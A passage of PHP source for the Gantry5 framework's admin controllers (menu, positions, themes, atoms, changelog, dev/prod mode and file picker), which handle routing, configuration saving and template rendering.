* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Menu\Item;
use Gantry\Component\Request\Input;
use Gantry\Component\Response\HtmlResponse;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\Response;
use Gantry\Framework\Menu as MenuObject;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Menu extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'item',
'/*' => 'item',
'/*/**' => 'item',
'/particle' => 'particle',
'/particle/*' =>
'validateParticle',
'/select' => 'undefined',
'/select/particle' =>
'selectParticle',
'/select/module' => 'selectModule',
'/select/widget' => 'selectWidget',
'/edit' => 'undefined',
'/edit/*' => 'edit',
'/edit/*/**' => 'editItem',
],
'POST' => [
'/' => 'save',
'/*' => 'save',
'/*/**' => 'item',
'/particle' => 'particle',
'/particle/*' =>
'validateParticle',
'/select' => 'undefined',
'/select/particle' =>
'selectParticle',
'/select/module' => 'selectModule',
'/select/widget' => 'selectWidget',
'/widget' => 'widget',
'/edit' => 'undefined',
'/edit/*' => 'edit',
'/edit/*/**' => 'editItem',
'/edit/*/validate' => 'validate',
],
'PUT' => [
'/*' => 'replace'
],
'PATCH' => [
'/*' => 'update'
],
'DELETE' => [
'/*' => 'destroy'
]
];
public function execute($method, array $path, array $params)
{
if (!$this->authorize('menu.manage')) {
$this->forbidden();
}
return parent::execute($method, $path, $params);
}
public function item($id = null)
{
// Load the menu.
try {
$resource = $this->loadResource($id,
$this->build($this->request->post));
} catch (\Exception $e) {
return
$this->render('@gantry-admin/pages/menu/menu.html.twig',
$this->params);
}
// All extra arguments become the path.
$path = array_slice(func_get_args(), 1);
// Get menu item and make sure it exists.
$item = $resource[implode('/', $path)];
if (!$item) {
throw new \RuntimeException('Menu item not found',
404);
}
// Fill parameters to be passed to the template file.
$this->params['id'] = $resource->name();
$this->params['menus'] = $resource->getMenus();
$this->params['default_menu'] =
$resource->hasDefaultMenu() ? $resource->getDefaultMenuName() :
false;
$this->params['menu'] = $resource;
$this->params['path'] = implode('/', $path);
// Detect special case to fetch only single column group.
$group = $this->request->get['group'];
if (empty($this->params['ajax']) ||
empty($this->request->get['inline'])) {
// Handle special case to fetch only one column group.
if (count($path) > 0) {
$this->params['columns'] =
$resource[$path[0]];
}
if (count($path) > 1) {
$this->params['column'] = isset($group) ?
(int) $group : $resource[implode('/', array_slice($path, 0,
2))]->group;
$this->params['override'] = $item;
}
return
$this->render('@gantry-admin/pages/menu/menu.html.twig',
$this->params);
} else {
// Get layout name.
$layout = $this->layoutName(count($path) + (int)
isset($group));
$this->params['item'] = $item;
$this->params['group'] = isset($group) ? (int)
$group : $resource[implode('/', array_slice($path, 0,
2))]->group;
return $this->render('@gantry-admin/menu/' .
$layout . '.html.twig', $this->params) ?:
' ';
}
}
public function edit($id)
{
$resource = $this->loadResource($id);
$input = $this->build($this->request->post);
if ($input) {
$resource->config()->merge(['settings' =>
$input['settings']]);
}
// Fill parameters to be passed to the template file.
$this->params['id'] = $resource->name();
$this->params['blueprints'] =
$this->loadBlueprints();
$this->params['data'] = ['settings' =>
$resource->settings()];
return
$this->render('@gantry-admin/pages/menu/edit.html.twig',
$this->params);
}
public function save($id = null)
{
$resource = $this->loadResource($id);
$data = $this->build($this->request->post);
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$filename =
$locator->findResource("gantry-config://menu/{$resource->name()}.yaml",
true, true);
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->theme = $this->container['theme'];
$event->controller = $this;
$event->resource = $id;
$event->menu = $data;
$this->container->fireEvent('admin.menus.save',
$event);
$file = YamlFile::instance($filename);
$file->settings(['inline' => 99]);
$file->save($data->toArray());
$file->free();
}
public function editItem($id)
{
// All extra arguments become the path.
$path = array_slice(func_get_args(), 1);
$keyword = end($path);
// Special case: validate instead of fetching menu item.
if ($this->method == 'POST' && $keyword ==
'validate') {
$params = array_slice(func_get_args(), 0, -1);
return call_user_func_array([$this, 'validateitem'],
$params);
}
$path = html_entity_decode(implode('/', $path),
ENT_COMPAT | ENT_HTML5, 'UTF-8');
// Load the menu.
$resource = $this->loadResource($id);
// Get menu item and make sure it exists.
/** @var Item $item */
$item = $resource[$path];
if (!$item) {
throw new \RuntimeException('Menu item not found',
404);
}
$data =
$this->request->post->getJsonArray('item');
if ($data) {
$item->update($data);
}
// Load blueprints for the menu item.
$blueprints = $this->loadBlueprints('menuitem');
$this->params = [
'id' => $resource->name(),
'path' => $path,
'blueprints' => ['fields' =>
$blueprints['form/fields/items/fields']],
'data' => $item->toArray() +
['path' => $path],
] + $this->params;
return
$this->render('@gantry-admin/pages/menu/menuitem.html.twig',
$this->params);
}
public function particle()
{
$data = $this->request->post['item'];
if ($data) {
$data = json_decode($data, true);
} else {
$data = $this->request->post->getArray();
}
$name = isset($data['particle']) ?
$data['particle'] : null;
$block = BlueprintForm::instance('menu/block.yaml',
'gantry-admin://blueprints');
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Load particle blueprints and default settings.
$validator = $this->loadBlueprints('menu');
$callable = function () use ($validator) {
return $validator;
};
// Create configuration from the defaults.
$item = new Config($data, $callable);
$item->def('type', 'particle');
$item->def('title',
$blueprints->get('name'));
$item->def('options.type',
$blueprints->get('type', 'particle'));
$item->def('options.particle', []);
$item->def('options.block', []);
$this->params += [
'item' => $item,
'block' => $block,
'data' => ['particles' =>
[$name => $item->options['particle']]],
'particle' => $blueprints,
'parent' => 'settings',
'prefix' => "particles.{$name}.",
'route' =>
"configurations.default.settings",
'action' =>
"menu/particle/{$name}"
];
return
$this->render('@gantry-admin/pages/menu/particle.html.twig',
$this->params);
}
public function validateParticle($name)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
// Load particle blueprints and default settings.
$validator = new BlueprintSchema;
$validator->embed('options',
$this->container['particles']->get($name));
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Create configuration from the defaults.
$data = new Config([],
function () use ($validator) {
return $validator;
}
);
$data->set('type', 'particle');
$data->set('particle', $name);
$data->set('title',
$this->request->post['title'] ?:
$blueprints->post['name']);
$data->set('options.particle',
$this->request->post->getArray("particles.{$name}"));
$data->def('options.particle.enabled', 1);
$data->set('enabled',
$data->get('options.particle.enabled'));
$block =
$this->request->post->getArray('block');
foreach ($block as $key => $param) {
if ($param === '') {
unset($block[$key]);
}
}
$data->join('options.block', $block);
// TODO: validate
// Fill parameters to be passed to the template file.
$this->params['item'] = (object) $data->toArray();
$html =
$this->render('@gantry-admin/menu/item.html.twig',
$this->params);
return new JsonResponse(['item' =>
$data->toArray(), 'html' => $html]);
}
public function selectModule()
{
return
$this->render('@gantry-admin/modals/module-picker.html.twig',
$this->params);
}
public function selectWidget()
{
$this->params['next'] = 'menu/widget';
return
$this->render('@gantry-admin/modals/widget-picker.html.twig',
$this->params);
}
public function widget()
{
$data = $this->request->post->getJson('item');
$path = [$data->widget];
$this->params['scope'] = 'menu';
return $this->executeForward('widget',
'POST', $path, $this->params);
}
public function selectParticle()
{
$groups = [
'Particles' => ['particle' => []],
];
$particles = [
'position' => [],
'spacer' => [],
'system' => [],
'particle' => [],
];
$particles = array_replace($particles, $this->getParticles());
unset($particles['atom'],
$particles['position']);
foreach ($particles as &$group) {
asort($group);
}
foreach ($groups as $section => $children) {
foreach ($children as $key => $child) {
$groups[$section][$key] = $particles[$key];
}
}
$this->params += [
'particles' => $groups,
'route' => 'menu/particle',
];
return
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params);
}
public function validate($id)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
// Load particle blueprints and default settings.
$validator = $this->loadBlueprints('menu');
$callable = function () use ($validator) {
return $validator;
};
// Create configuration from the defaults.
$data = new Config($this->request->post->getArray(),
$callable);
// TODO: validate
return new JsonResponse(['settings' => (array)
$data->get('settings')]);
}
public function validateitem($id)
{
// All extra arguments become the path.
$path = array_slice(func_get_args(), 1);
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
// Load the menu.
$resource = $this->loadResource($id);
// Load particle blueprints and default settings.
$validator = $this->loadBlueprints('menuitem');
$callable = function () use ($validator) {
return $validator;
};
// Create configuration from the defaults.
$data = new Config($this->request->post->getArray(),
$callable);
// TODO: validate
$item = $resource[implode('/', $path)];
$item->update($data->toArray());
// Fill parameters to be passed to the template file.
$this->params['id'] = $resource->name();
$this->params['item'] = $item;
$this->params['group'] = isset($group) ? $group :
$resource[implode('/', array_slice($path, 0, 2))]->group;
if (!$item->title) {
throw new \RuntimeException('Title from the Menu Item
should not be empty', 400);
}
$html =
$this->render('@gantry-admin/menu/item.html.twig',
$this->params);
return new JsonResponse(['path' =>
implode('/', $path), 'item' => $data->toArray(),
'html' => $html]);
}
protected function layoutName($level)
{
switch ($level) {
case 0:
return 'base';
case 1:
return 'columns';
default:
return 'list';
}
}
/**
* Load resource.
*
* @param string $id
* @param Config $config
*
* @return \Gantry\Component\Menu\AbstractMenu
* @throws \RuntimeException
*/
protected function loadResource($id, Config $config = null)
{
/** @var MenuObject $menus */
$menus = $this->container['menu'];
return $menus->instance(['menu' => $id,
'admin' => true], $config);
}
/**
* Load blueprints.
*
* @param string $name
*
* @return BlueprintForm
*/
protected function loadBlueprints($name = 'menu')
{
return BlueprintForm::instance("menu/{$name}.yaml",
'gantry-admin://blueprints');
}
public function build(Input $input)
{
try {
$items = $input->get('items');
if ($items && $items[0] !== '{' &&
$items[0] !== '[') {
$items = urldecode((string)base64_decode($items));
}
$items = json_decode($items, true);
$settings = $input->getJsonArray('settings');
$order = $input->getJsonArray('ordering');
} catch (\Exception $e) {
throw new \RuntimeException('Invalid menu structure',
400);
}
if (!$items && !$settings && !$order) {
return null;
}
krsort($order);
$ordering = ['' => []];
foreach ($order as $path => $columns) {
foreach ($columns as $column => $colitems) {
$list = [];
foreach ($colitems as $item) {
$name = trim(substr($item, strlen($path)),
'/');
if (isset($ordering[$item])) {
$list[$name] = $ordering[$item];
unset($ordering[$item]);
} else {
$list[$name] = '';
}
}
if (count($columns) > 1) {
$ordering[$path][$column] = $list;
} else {
$ordering[$path] = $list;
}
}
}
$data = new Config([]);
$data->set('settings', $settings);
$data->set('ordering', $ordering['']);
$data->set('items', $items);
return $data;
}
protected function getParticles()
{
$particles = $this->container['particles']->all();
$list = [];
foreach ($particles as $name => $particle) {
$type = isset($particle['type']) ?
$particle['type'] : 'particle';
$particleName = isset($particle['name']) ?
$particle['name'] : $name;
$particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
$list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
}
return $list;
}
protected function executeForward($resource, $method = 'GET',
$path, $params = [])
{
$class = '\\Gantry\\Admin\\Controller\\Json\\' .
strtr(ucwords(strtr($resource, '/', ' ')), '
', '\\');
if (!class_exists($class)) {
throw new \RuntimeException('Page not found', 404);
}
/** @var HtmlController $controller */
$controller = new $class($this->container);
// Execute action.
$response = $controller->execute($method, $path, $params);
if (!$response instanceof Response) {
$response = new HtmlResponse($response);
}
return $response;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Position\Module;
use Gantry\Component\Position\Position;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Assignments;
use Gantry\Framework\Positions as PositionsObject;
class Positions extends HtmlController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/*' => 'undefined',
'/*/add' =>
'selectParticle',
],
'POST' => [
'/' => 'save',
'/create' => 'create',
'/*' => 'undefined',
'/*/rename' => 'rename',
'/*/duplicate' => 'duplicate',
'/*/delete' => 'delete',
'/*/edit' => 'undefined',
'/*/edit/particle' => 'particle',
'/*/edit/particle/*' =>
'validateParticle',
'/edit' => 'undefined',
'/edit/particle' => 'particle',
]
];
public function index()
{
$this->params['positions'] =
$this->container['positions'];
return
$this->render('@gantry-admin/pages/positions/positions.html.twig',
$this->params);
}
public function create()
{
// Create only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
/** @var PositionsObject $position */
$positions = $this->container['positions'];
$title = (string)
$this->request->post->get('title',
'Untitled');
$key = (string) $this->request->post['key'];
$id = $positions->create($title, $key);
$html =
$this->render('@gantry-admin/layouts/position.html.twig',
['position' => ['name' => $id, 'title'
=> $title]]);
return new JsonResponse(['html' =>
sprintf("Position '%s' created.", $id), 'id'
=> "position-{$id}", 'key' => $id,
'position' => $html]);
}
public function rename($old)
{
// Rename only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
$title = (string) $this->request->post['title'];
$key = (string) $this->request->post['key'];
$data = (string) $this->request->post['data'];
/** @var PositionsObject $positions */
$positions = $this->container['positions'];
$position = $positions[$old];
$exists = isset($position);
if (!$exists) {
if (!$data) {
throw new \RuntimeException(sprintf("Position
'%s' not found", $old), 404);
}
$position = new Position($key ?: $old);
}
if (strlen($title)) {
$position->title = (string) $title;
}
if ($exists && strlen($key)) {
$position = $position->rename($key);
} else {
$position->save();
}
if ($data) {
$data = ['title' => $position->title] +
json_decode($data, true);
$position = new Position($position->name, $data);
}
$html =
$this->render('@gantry-admin/layouts/position.html.twig',
['position' => $position]);
return new JsonResponse(['html' =>
sprintf("Position saved"), 'id' =>
"position-{$position->name}", 'key' =>
$position->name, 'position' => $html]);
}
public function duplicate($position)
{
// Duplicate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
/** @var PositionsObject $positions */
$positions = $this->container['positions'];
$id = $positions->duplicate($position);
return new JsonResponse(['html' =>
sprintf("Position duplicated as '%s'.", $id)]);
}
public function delete($position)
{
// Delete only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
/** @var PositionsObject $positions */
$positions = $this->container['positions'];
$positions->delete($position);
return new JsonResponse(['html' =>
sprintf("Position '%s' deleted.", $position),
'position' => $position]);
}
public function save()
{
// Save only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
$data =
$this->request->post->getJsonArray('positions');
/** @var PositionsObject $position */
$positions = $this->container['positions'];
$positions->import($data);
return new JsonResponse(['html' =>
sprintf("Positions saved.")]);
}
public function particle($position = null)
{
if (!$position) {
$position = $this->request->post['position'];
}
$data = $this->request->post['item'];
if ($data) {
$data = json_decode($data, true);
} else {
$data = $this->request->post->getArray();
}
$name = isset($data['options']['type']) ?
$data['options']['type'] :
(isset($data['particle']) ? $data['particle'] : null);
$blueprints =
$this->container['particles']->getBlueprintForm($name);
$chromeBlueprints =
BlueprintForm::instance('position/chrome.yaml',
'gantry-admin://blueprints');
$data['title'] = isset($data['title']) ?
$data['title'] : $blueprints['name'];
$data['chrome'] = isset($data['chrome']) ?
$data['chrome'] : [];
$data['options'] = isset($data['options']) ?
$data['options'] : [];
$data['options']['type'] = $name;
$attributes =
isset($data['options']['attributes']) ?
$data['options']['attributes'] : [];
$assignments = new Assignments();
$this->params += [
'item' => $data,
'data' => [
'particles' => [$name => $attributes],
'chrome' => $data['chrome'],
'assignments' =>
isset($data['assignments']) ? $data['assignments'] :
'all'
],
'particle' => $blueprints,
'chrome' => $chromeBlueprints,
'assignments' => $assignments->get(),
'parent' => 'settings',
'prefix' => "particles.{$name}.",
'route' =>
"configurations.default.settings",
'action' =>
"positions/{$position}/edit/particle/{$name}"
];
return
$this->render('@gantry-admin/pages/positions/particle.html.twig',
$this->params);
}
public function validateParticle($position, $name)
{
// Validate only exists for JSON.
if (empty($this->params['ajax'])) {
$this->undefined();
}
if (!$this->request->post->get('_end')) {
throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
}
// Load particle blueprints and default settings.
$validator = new BlueprintSchema;
$validator->embed('options',
$this->container['particles']->get($name));
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Create configuration from the defaults.
$data = new Config([],
function () use ($validator) {
return $validator;
}
);
$data->set('position', $position);
$data->set('id', $id =
$this->request->post['id']);
$data->set('type', 'particle');
$data->set('title',
$this->request->post['title'] ?:
$blueprints->post['name']);
$data->set('chrome',
$this->request->post->getArray('chrome'));
$data->set('options.type', $name);
$data->set('options.attributes',
$this->request->post->getArray("particles.{$name}"));
$data->def('options.attributes.enabled', 1);
$assignments = (new
Assignments())->filter($this->request->post->getArray('assignments'),
true);
if (!$assignments) {
// Use special syntax for no assignments.
$assignments = 'none';
} elseif ($assignments === ['page' => [true]]) {
// Use special syntax for assigned to all pages. This is a
special case and hardcoded for now.
$assignments = 'all';
}
$data->set('assignments', $assignments);
// TODO: validate
// Fill parameters to be passed to the template file.
$this->params['position'] = $position;
$this->params['item'] = (object) $data->toArray();
$this->params['module'] = new Module($id, $position,
$data->toArray());
$html =
$this->render('@gantry-admin/pages/positions/item.html.twig',
$this->params);
return new JsonResponse(['item' =>
$data->toArray(), 'html' => $html, 'position'
=> $position]);
}
public function selectParticle($position)
{
$groups = [
'Particles' => ['particle' => []],
];
$particles = [
'position' => [],
'spacer' => [],
'system' => [],
'particle' => [],
];
$particles = array_replace($particles, $this->getParticles());
unset($particles['atom'],
$particles['position']);
foreach ($particles as &$group) {
asort($group);
}
foreach ($groups as $section => $children) {
foreach ($children as $key => $child) {
$groups[$section][$key] = $particles[$key];
}
}
$this->params += [
'particles' => $groups,
'route' =>
"positions/{$position}/edit/particle",
];
return
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params);
}
protected function getParticles()
{
$particles = $this->container['particles']->all();
$list = [];
foreach ($particles as $name => $particle) {
$type = isset($particle['type']) ?
$particle['type'] : 'particle';
$particleName = isset($particle['name']) ?
$particle['name'] : $name;
$particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
$list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Html;
use Gantry\Admin\ThemeList;
use Gantry\Component\Admin\HtmlController;
class Themes extends HtmlController
{
public function index()
{
$this->params['themes'] = (new
ThemeList)->getThemes();
return
$this->render('@gantry-admin/pages/themes/themes.html.twig',
$this->params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
/**
* Class Atoms
* @package Gantry\Admin\Controller\Json
*/
class Atoms extends JsonController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/*' => 'index',
'/instance' => 'atom'
],
'POST' => [
'/' => 'index',
'/*' => 'index',
'/instance' => 'atom'
]
];
public function index()
{
$path = implode('/', func_get_args());
$post = $this->request->request;
$outline = $post['outline'];
$type = $post['subtype'];
$inherit = $post['inherit'];
$id = $post['id'];
if (!$outline) {
throw new \RuntimeException('Outline not given',
400);
}
$this->container['outline'] = $outline;
$this->container['configuration'] = $outline;
$atoms = new \Gantry\Framework\Atoms((array)
$this->container['config']->get('page.head.atoms'));
if ($inherit) {
$atoms->inheritAll($outline);
}
$item = (object) $atoms->id($id);
if ($path === 'list') {
$list = $atoms->type($type);
if (empty($item->id)) {
$item = (object)reset($list);
}
}
$selected = !empty($item->id) ? $item->id : null;
$type = isset($item->type) ? $item->type : $type;
$item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];
$blueprints =
$this->container['particles']->getBlueprintForm($type);
$blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
$params = [
'gantry' => $this->container,
'parent' => 'settings',
'route' =>
"configurations.{$outline}.settings",
'inherit' => $inherit ? $outline : null,
'title' => isset($item->title) ?
$item->title : '',
'blueprints' =>
$blueprints->get('form'),
'item' => $item,
'data' => ['particles' =>
[$type => $item->attributes]],
'prefix' => "particles.{$type}.",
'editable' => true,
'overrideable' => false,
'skip' => ['enabled']
];
$html['g-settings-atom'] =
$this->render('@gantry-admin/pages/configurations/layouts/particle-card.html.twig',
$params);
if (isset($list)) {
$html['g-inherit-atom'] =
$this->renderAtomsInput($inherit ? $outline : null, $type, $selected,
$list);
}
return new JsonResponse(['json' => $item,
'html' => $html]);
}
public function atom()
{
$post = $this->request->request;
$outline = $post['outline'];
$id = $post['id'];
if (!$outline) {
throw new \RuntimeException('Outline not given',
400);
}
$this->container['outline'] = $outline;
$this->container['configuration'] = $outline;
$atoms = new \Gantry\Framework\Atoms((array)
$this->container['config']->get('page.head.atoms'));
$item = (object) $atoms->id($id);
if (empty($item->id)) {
throw new \RuntimeException('Atom was not found from the
outline', 404);
}
$name = $item->type;
$prefix = "particles.{$name}";
$blueprints =
$this->container['particles']->getBlueprintForm($name);
$blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
$item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];
$this->params['id'] = $name;
$this->params += [
'item' => $item,
'data' => ['particles' =>
[$name => $item->attributes]],
'prefix' => "particles.{$name}.",
'particle' => $blueprints,
'parent' => 'settings',
'route' =>
"configurations.{$outline}.settings",
'action' => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
'skip' => ['enabled'],
'editable' => false,
'overrideable' => false,
];
$html =
$this->render('@gantry-admin/modals/atom-preview.html.twig',
$this->params);
return new JsonResponse(['html' => $html]);
}
/**
* Render input field for particle picker.
*
* @param string $outline
* @param string $type
* @param string $selected
* @param array $instances
* @return string
*/
protected function renderAtomsInput($outline, $type, $selected, array
$instances)
{
$params = [
'layout' => 'input',
'scope' => 'inherit.',
'field' => [
'name' => 'atom',
'type' => 'gantry.atoms',
'id' => 'g-inherit-atom',
'outline' => $outline,
'atoms' => $instances,
'atom' => $type
],
'value' => $selected
];
return
$this->render('@gantry-admin/forms/fields/gantry/atoms.html.twig',
$params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Remote\Response as RemoteResponse;
use Gantry\Component\Response\JsonResponse;
class Changelog extends JsonController
{
protected $url =
'https://raw.githubusercontent.com/gantry/gantry5';
protected $fullurl =
'https://github.com/gantry/gantry5/blob/develop';
protected $issues =
'https://github.com/gantry/gantry5/issues';
protected $contrib = 'https://github.com';
protected $file = 'CHANGELOG.md';
protected $platforms = ['common' => 'share-alt',
'joomla' => '', 'wordpress' =>
'', 'grav' => ''];
protected $httpVerbs = [
'POST' => [
'/' => 'index'
]
];
public function index()
{
$version = $this->request->post['version'];
$lookup = $version;
if ($version == '@version@') {
$version = 'develop';
$lookup = '';
}
if (substr($version, 0, 4) == 'dev-') {
$version = preg_replace('/^dev-/i', '',
$version);
$lookup = '';
}
$url = $this->url . '/' . $version .
'/' . $this->file;
$changelog = RemoteResponse::get($url);
if ($changelog) {
$found = preg_match("/(#\\s" . $lookup .
".+?\\n.*?)(?=\\n{1,}#|$)/uis", $changelog, $changelog);
if ($found) {
$changelog =
\Parsedown::instance()->parse($changelog[0]);
// auto-link issues
$changelog = preg_replace("/#(\\d{1,})/uis",
'<a target="_blank" rel="noopener"
href="' . $this->issues .
'/$1">#$1</a>', $changelog);
// auto-link contributors
$changelog = preg_replace("/@([\\w]+)[^\\w]/uis",
'<a target="_blank" rel="noopener"
href="' . $this->contrib . '/$1">@$1</a>
', $changelog);
// add icons for platforms
foreach($this->platforms as $platform => $icon) {
$changelog = preg_replace('/(<a
href="\#' . $platform . '">)/uis',
'$1<i class="fa fa-' . ($icon ?: $platform) .
'" aria-hidden="true"></i> ',
$changelog);
}
} else {
$changelog = 'No changelog for version
<strong>' . $version . '</strong> was found.';
}
}
$response = [
'html' =>
$this->render('@gantry-admin/ajax/changelog.html.twig', [
'changelog' => $changelog,
'version' => $version,
'url' => $url,
'fullurl' => $this->fullurl .
'/' . $this->file
])
];
return new JsonResponse($response);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
class Confirmdeletion extends JsonController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index'
]
];
public function index()
{
$pageType =
$this->request->get->get('page_type',
'OUTLINE');
$response = ['html' =>
$this->render('@gantry-admin/ajax/confirm-deletion.html.twig',
['page_type' => $pageType])];
return new JsonResponse($response);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\Event\Event;
class Devprod extends JsonController
{
public function store()
{
$production =
intval((bool)$this->request->post['mode']);
// Fire save event.
$event = new Event;
$event->gantry = $this->container;
$event->controller = $this;
$event->data = ['production' => $production];
$this->container->fireEvent('admin.global.save',
$event);
$response = [
'mode' => $production,
'title' => $production ? 'Production' :
'Development',
'html' => $production ? 'Production mode
enabled' : 'Development mode enabled',
];
return new JsonResponse($response);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\File\File;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Filepicker extends JsonController
{
protected $base = false;
protected $value = false;
protected $filter = false;
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/*' => 'index',
'/display' => 'undefined',
'/display/**' => 'displayFile',
'/download' => 'undefined',
'/download/**' => 'downloadFile',
],
'POST' => [
'/' => 'index',
'/*' => 'index',
'/subfolder' => 'subfolder',
'/subfolder/*' => 'subfolder',
'/upload' => 'undefined',
'/upload/**' => 'upload'
],
'DELETE' => [
'/' => 'undefined',
'/**' => 'delete'
]
];
public function index()
{
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$bookmarks = [];
$drives = ['/'];
$subfolder = false;
$this->base = $locator->base;
if ($this->method == 'POST') {
$root = $this->request->post['root'];
$drives = isset($root) ? ($root !== 'false' ?
(array) $root : ['/']) : ['/'];
$subfolder =
$this->request->post['subfolder'] ? true : false;
$filter = $this->request->post['filter'];
$this->filter = isset($filter) ? ($filter !==
'false' ? $filter : false) : false;
$this->value =
$this->request->post['value'] ?: '';
}
foreach ($drives as $drive) {
// cleanup of the path so it's chrooted.
$drive = str_replace('..', '', $drive);
$isStream = $locator->isStream($drive);
$path = rtrim($this->base, '/') .
'/' . ltrim($drive, '/');
// It's a stream but the scheme doesn't exist. we
skip it.
if (!$isStream && (strpos($drive, '://') ||
!file_exists($path))) {
continue;
}
if ($isStream && !$locator->findResources($drive)) {
continue;
}
$key = $isStream ? $drive : preg_replace('#/{2,}+#',
'/', $drive);
if (!array_key_exists($key, $bookmarks)) {
$bookmarks[$key] = $isStream
? [$locator->getIterator($drive)]
: [rtrim(Folder::getRelativePath($path), '/')
. '/'];
}
}
if (!count($bookmarks)) {
throw new \RuntimeException(sprintf('%s "%s" not
found', count($drives) > 1 ? 'directories' :
